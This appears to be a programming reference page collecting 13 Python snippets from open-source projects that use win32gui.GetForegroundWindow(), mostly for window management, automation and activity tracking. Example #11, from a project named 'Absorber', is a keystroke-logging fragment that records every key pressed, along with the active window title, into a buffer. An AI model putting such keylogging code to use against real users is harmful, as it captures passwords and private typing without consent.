Python win32gui.GetForegroundWindow() Examples

The following are 13 code examples of win32gui.GetForegroundWindow(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module win32gui , or try the search function .
Example #1
Source File: steam.py    From Yugioh-bot with MIT License 14 votes vote down vote up
def tap(self, x, y):
        if self.run_time.stop:
            return
        x, y = int(x), int(y)
        self.root.debug("Tapping at location ({},{})".format(x, y))
        if self._debug:
            # Helper to debug taps
            input("waiting for confirmation press enter")
        ox, oy = win32api.GetCursorPos()
        curr_window = win32gui.GetForegroundWindow()
        win32gui.ShowWindow(self.win_handle, win32con.SW_RESTORE)
        x, y = int(x), int(y)
        cx, cy = win32gui.ClientToScreen(self.win_handle, (x, y))
        x, y = self.__calculate_absolute_coordinates__(cx, cy)
        win32api.mouse_event(win32con.MOUSEEVENTF_MOVE | win32con.MOUSEEVENTF_ABSOLUTE,
                             x, y, 0, 0)
        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
        win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)
        time.sleep(20 / 1000)
        win32api.SetCursorPos((ox, oy))
        win32gui.SetActiveWindow(curr_window) 
Example #2
Source File: win_utils.py    From plex-mpv-shim with MIT License 8 votes vote down vote up
def raise_mpv():
    # This workaround is madness. Apparently SetForegroundWindow
    # won't work randomly, so I have to call ShowWindow twice.
    # Once to hide the window, and again to successfully raise the window.
    try:
        top_windows = []
        fg_win = win32gui.GetForegroundWindow()
        win32gui.EnumWindows(windowEnumerationHandler, top_windows)
        for i in top_windows:
            if " - mpv" in i[1].lower():
                if i[0] != fg_win:
                    win32gui.ShowWindow(i[0], 6) # Minimize
                    win32gui.ShowWindow(i[0], 9) # Un-minimize
                break

    except Exception:
        print("Could not raise MPV.")
        traceback.print_exc() 
Example #3
Source File: win32_window.py    From dragonfly with GNU Lesser General Public License v3.0 6 votes vote down vote up
def set_foreground(self):
        # Bring this window into the foreground if it isn't already the
        # current foreground window.
        if self.handle != win32gui.GetForegroundWindow():
            if self.is_minimized:
                self.restore()

            # Press a key so Windows allows us to use SetForegroundWindow()
            # (received last input event). See Microsoft's documentation on
            # SetForegroundWindow() for why this works.
            # Only do this if neither the left or right control keys are
            # held down.
            if win32api.GetKeyState(win32con.VK_CONTROL) == 0:
                Key("control:down,control:up").execute()

            # Set the foreground window.
            self._set_foreground() 
Example #4
Source File: main.py    From MouseTracks with GNU General Public License v3.0 6 votes vote down vote up
def get_window_handle(parent=True, console=False):
    command = win32console.GetConsoleWindow if console else win32gui.GetForegroundWindow
    if not parent:
        return command()
    
    #Find the parent windows until there are none left
    while True:
        try:
            parent = win32gui.GetParent(hwnd)
        except UnboundLocalError:
            hwnd = command()
        except win32api.error:
            break
        else:
            if parent:
                hwnd = parent
            else:
                break
    return hwnd 
Example #5
Source File: _win32.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def get_current_layout(cls):
        # Get the current window's keyboard layout.
        thread_id = win32process.GetWindowThreadProcessId(
            win32gui.GetForegroundWindow()
        )[0]
        return win32api.GetKeyboardLayout(thread_id) 
Example #6
Source File: win32_window.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def get_foreground(cls):
        handle = win32gui.GetForegroundWindow()
        if handle in cls._windows_by_id:
            return cls._windows_by_id[handle]
        window = Win32Window(handle=handle)
        return window 
Example #7
Source File: window.py    From dragonfly with GNU Lesser General Public License v3.0 5 votes vote down vote up
def get_foreground(cls):
        handle = win32gui.GetForegroundWindow()
        if handle in cls._windows_by_handle:
            return cls._windows_by_handle[handle]
        window = Window(handle=handle)
        return window 
Example #8
Source File: windows.py    From aw-watcher-window with Mozilla Public License 2.0 5 votes vote down vote up
def get_active_window_handle():
    hwnd = win32gui.GetForegroundWindow()
    return hwnd 
Example #9
Source File: main.py    From PUBG with The Unlicense 5 votes vote down vote up
def activeWindowName():
	hwnd = win32gui.GetForegroundWindow()
	tid, current_pid = win32process.GetWindowThreadProcessId(hwnd)
	return psutil.Process(current_pid).name() 
Example #10
Source File: applicationinfo.py    From track with Apache License 2.0 5 votes vote down vote up
def _get_active_window_title():
    return GetWindowText(GetForegroundWindow()) 
Example #11
Source File: log.py    From Absorber with MIT License 5 votes vote down vote up
def display(event, key):
    global data, lastwindow
    if lastwindow != GetWindowText(GetForegroundWindow()):
        lastwindow = GetWindowText(GetForegroundWindow())
        #data += ' [ ' + lastwindow + ' ] '
        if key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
            data += ' { ' + str(key) + ' } '
        else:
            data += key    
    elif key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
        data += ' { ' + str(key) + ' } '
    else:
        data += key 
Example #12
Source File: hotkeys.py    From PyPipboyApp with GNU General Public License v3.0 4 votes vote down vote up
def _onKeyEvent(self, event):
        #print("_onKeyEvent: " + event);
        self.altdown = event.alt_pressed
        
        if(event.event_type == 'key up'):
            if(event.key_code == 160 or event.key_code == 161):
                self.shiftdown = False
            if(event.key_code == 162 or event.key_code == 163):
                self.ctrldown = False
            if(event.key_code == 164 or event.key_code == 165 or event.key_code == 18):
                self.altdown = False
            if(event.key_code == 91):
                self.windown = False
        if(event.event_type == 'key down'):
            if(event.key_code == 160 or event.key_code == 161):
                self.shiftdown = True
            if(event.key_code == 162 or event.key_code == 163):
                self.ctrldown = True
            if(event.key_code == 164 or event.key_code == 165 or event.key_code == 18):
                self.altdown = True
            if(event.key_code == 91):
                self.windown = True

            activeWin = GetWindowText(GetForegroundWindow())
            if (activeWin != "Fallout4"):
                return
                
            for hk in self.Hotkeys:
                if (hk.keycode == event.key_code
                and hk.control == self.ctrldown
                and hk.shift == self.shiftdown
                and hk.alt == self.altdown):

                    action = Actions.get(hk.actionkey, None)
                    if ( (action and hk.enabled) 
                    and ( not self.allKeysDisabled or hk.actionkey == 'toggleAllHotkeys') ):
                        if(hk.params):
                            args = hk.params
                            try:
                                action.action(*args)
                            except:
                                action.action(hk.params)
                        else:
                            action.action()
                        
                        ### This is a vile hack to allow each rpc call to complete
                        ### before sending the next in cases where a single hotkey
                        ### is bound to multiple actions
                        ### It'll do for now, but should really find a better way 
                        ### of handling this, queue action method on datamanager.py 
                        ### perhaps?
                        time.sleep(0.1) 
Example #13
Source File: utils.py    From QuLab with MIT License 4 votes vote down vote up
def _WindowsShutdownBlocker(title='Python script'):
    """
    Block Windows shutdown when you do something important.
    """
    from ctypes import CFUNCTYPE, c_bool, c_uint, c_void_p, c_wchar_p, windll
    import win32con
    import win32gui

    def WndProc(hWnd, message, wParam, lParam):
        if message == win32con.WM_QUERYENDSESSION:
            return False
        else:
            return win32gui.DefWindowProc(hWnd, message, wParam, lParam)

    CALLBACK = CFUNCTYPE(c_bool, c_void_p, c_uint, c_void_p, c_void_p)

    wc = win32gui.WNDCLASS()
    wc.style = win32con.CS_GLOBALCLASS | win32con.CS_VREDRAW | win32con.CS_HREDRAW
    wc.lpfnWndProc = CALLBACK(WndProc)
    wc.hbrBackground = win32con.COLOR_WINDOW + 1
    wc.lpszClassName = "block_shutdown_class"
    win32gui.RegisterClass(wc)

    hwnd = win32gui.CreateWindow(wc.lpszClassName, title,
                                 win32con.WS_OVERLAPPEDWINDOW, 50,
                                 50, 100, 100, 0, 0,
                                 win32gui.GetForegroundWindow(), None)

    win32gui.ShowWindow(hwnd, win32con.SW_HIDE)

    windll.user32.ShutdownBlockReasonCreate.argtypes = [c_void_p, c_wchar_p]
    windll.user32.ShutdownBlockReasonCreate.restype = c_bool
    windll.user32.ShutdownBlockReasonCreate(
        hwnd, "Important work in processing, don't shutdown :-(")

    yield

    windll.user32.ShutdownBlockReasonDestroy.argtypes = [c_void_p]
    windll.user32.ShutdownBlockReasonDestroy.restype = c_bool
    windll.user32.ShutdownBlockReasonDestroy(hwnd)
    win32gui.DestroyWindow(hwnd)
    win32gui.UnregisterClass(wc.lpszClassName, None)